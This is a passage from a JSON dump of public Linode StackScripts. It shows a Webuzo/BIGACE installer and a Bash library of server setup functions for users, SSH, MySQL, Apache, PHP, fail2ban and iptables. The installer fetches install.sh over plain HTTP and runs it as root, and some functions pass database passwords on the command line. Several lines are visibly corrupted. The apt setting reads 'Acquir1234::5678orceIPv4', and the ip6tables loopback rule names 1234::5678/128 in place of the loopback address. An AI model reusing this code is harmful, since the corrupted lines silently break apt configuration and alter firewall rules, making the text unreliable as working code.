"BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\r\n\r\nIts powerful backend puts you in full control of the layout and content of your pages. And when you need more, you can choose from many Plugins and Themes to extend it.\r\n\r\nBigace is designed to provide you with all the features you need from a CMS while having complete freedom to customize it the way you want. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure BIGACE and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "BIGACE powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install BIGACE and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About BIGACE :\n# BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\n# Its powerful backend puts you in full control of the layout and content of your pages.\n# And when you need more, you can choose from many Plugins and Themes to extend it.\n###########################################################################################################\n\n# Install BIGACE Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=400&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling BIGACE and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, BIGACE has been successfully installed\"\necho \" \"\necho \"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username": "tkelso", "user_gravatar_id": "a94e5434345409282c17b253f3d2a72d", "label": "Library_Bash", "description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v0.5.0", "script": "#!/bin/bash\n\n# Complete Bash Library\n# v0.5.0\n\n# Supported Distributions\n#########################\n# Debian 8\n# Ubuntu 16.04\n# Ubuntu 12.04\n# CentOS 7\n#########################\n\n# Notes\n#########################\n# Add function_restart_services\n# Add goodstuff\n# Deeper fail2ban configuration\n# Percentage based service tuning\n# Incorperate deprecated functions into new distros\n#########################\n\n# System Ubuntu\n###############\n\nfunction ubuntu1604_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/ubuntu/$1/g\" /etc/hosts\n}\n\nfunction ubuntu1604_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction ubuntu1604_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction ubuntu1604_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Users Ubuntu and Authentication\n#################################\n\nfunction ubuntu1604_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction ubuntu1604_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction ubuntu1604_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction ubuntu1604_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System Debian 8\n#################\n\nfunction debian8_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/debian/$1/g\" /etc/hosts\n}\n\nfunction debian8_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction debian8_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction debian8_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Debian 8 Users and Authentication\n###################################\n\nfunction debian8_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction debian8_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction debian8_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction debian8_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System CentOS 7\n#################\n\nfunction centos7_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/localhost/$1/g\" /etc/hosts\n}\n\nfunction centos7_update {\n\t# Full system update\n\n\tyum update -y\n}\n\nfunction centos7_install_epel-release {\n\tyum install epel-release -y\n}\n\nfunction centos7_system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction centos7_get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction centos7_get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction centos7_install_additional {\n\t# Installs additional system packages and enabled Mariadb to start on boot.\n\n\tyum install -y fail2ban vim screen\n\tsystemctl enable mariadb\n}\n\nfunction centos7_restart_lamp {\n\tsystemctl restart httpd\n\tsystemctl restart mariadb\n}\n\n# Users CentOS 7\n################\n\nfunction centos7_user_add_sudo {\n\t# Installs Sudo, adds non-root user and adds non-root user to wheel group.\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n yum install -y sudo\n adduser $USERNAME\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG wheel $USERNAME\n}\n\nfunction centos7_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ]; then\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction centos7_ssh_disable_root {\n\t# Disables root SSH login and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart sshd \n}\n\n# MySQL\n#######\n\nfunction ubuntu1604_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction debian8_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction centos7_install_mysql {\n\tyum install mariadb-server -y\n\tsystemctl enable mariadb\n}\n\nfunction mysql_create_database {\n\t# Creates MySQL Database with user-determined name\n\t\n\tDBPASS=\"$1\"\n\tDBNAME=\"$2\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$DBNAME\" ]; then\n\t\techo \"No Database Name and/or MySQL Password entered.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n\t# Creates non-root MySQL\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tUSERPASS=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$USERPASS\" ]; then\n\t\techo \"MySQL Username, Username Password and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n\t# Grants privileges for non-root MySQL user on user-defined database.\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tDB=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$DB\" ]; then\n\t\techo \"MySQL Username, Database and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n}\n\nfunction centos7_mysql_setpass {\n\t# Sets root password for MariaDB\n\n\tDBPASS=\"$1\"\n\tif [ ! -n \"$DBPASS\"]; then\n\t\techo \"No Database Password Set\"\n\t\treturn 1;\n\tfi\n\n\techo \"SET PASSWORD FOR ''root''@''localhost'' = PASSWORD(''$1'');\" | mysql -u root\n}\n\nfunction ubuntu1604_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction debian8_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction centos7_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tyum install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$1\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tyum remove -y expect\n}\n\n# Apache\n########\n\nfunction ubuntu1604_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction debian8_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction ubuntu1604_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction debian8_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction ubuntu1604_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction debian8_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction centos7_install_apache {\n\tyum install httpd -y\n\tsystemctl enable httpd\n}\n\nfunction centos7_apache_create_virtualhost {\n\t# Creates httpd VirtualHost for user-defined domain.\t\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n\tmkdir -p /var/www/$1/{public_html,logs}\n\t# Creates VirtualHost file\n\ttouch /etc/httpd/conf.d/vhost.conf\n\techo \"NameVirtualHost *:80\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAdmin webmaster@$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAlias www.$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\t# Creates temporary index.html file with the FQDN\n\techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n\t# Enables httpd to start on boot and restarts httpd.\n\tsystemctl enable httpd\n\tsystemctl restart httpd\n}\n\nfunction centos7_apache_tune {\n\t# Disables KeepAlive and tunes variables for prefork module.\n\n\techo \"KeepAlive Off\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n\techo \" StartServers 4\" >> /etc/httpd/conf/httpd.conf\n\techo \" MinSpareServers 20\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxSpareServers 40\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxClients 200\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxRequestsPerChild 4500\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n}\n\nfunction ubuntu1604_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\nfunction debian8_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n# PHP\n#####\n\nfunction ubuntu1604_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction debian8_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction centos7_install_php {\n\tyum install php php-pear php-mysql -y\n}\n\nfunction ubuntu1604_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction debian8_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction centos7_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php.ini\n\tmkdir /var/log/php\n\tchown apache /var/log/php\n\tsystemctl reload httpd\n}\n\n# Fail2Ban\n##########\n\nfunction ubuntu1604_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction debian8_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction centos7_install_fail2ban {\n\tyum install fail2ban -y\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\n# iptables\n##########\n\nfunction ubuntu1604_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction debian8_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j 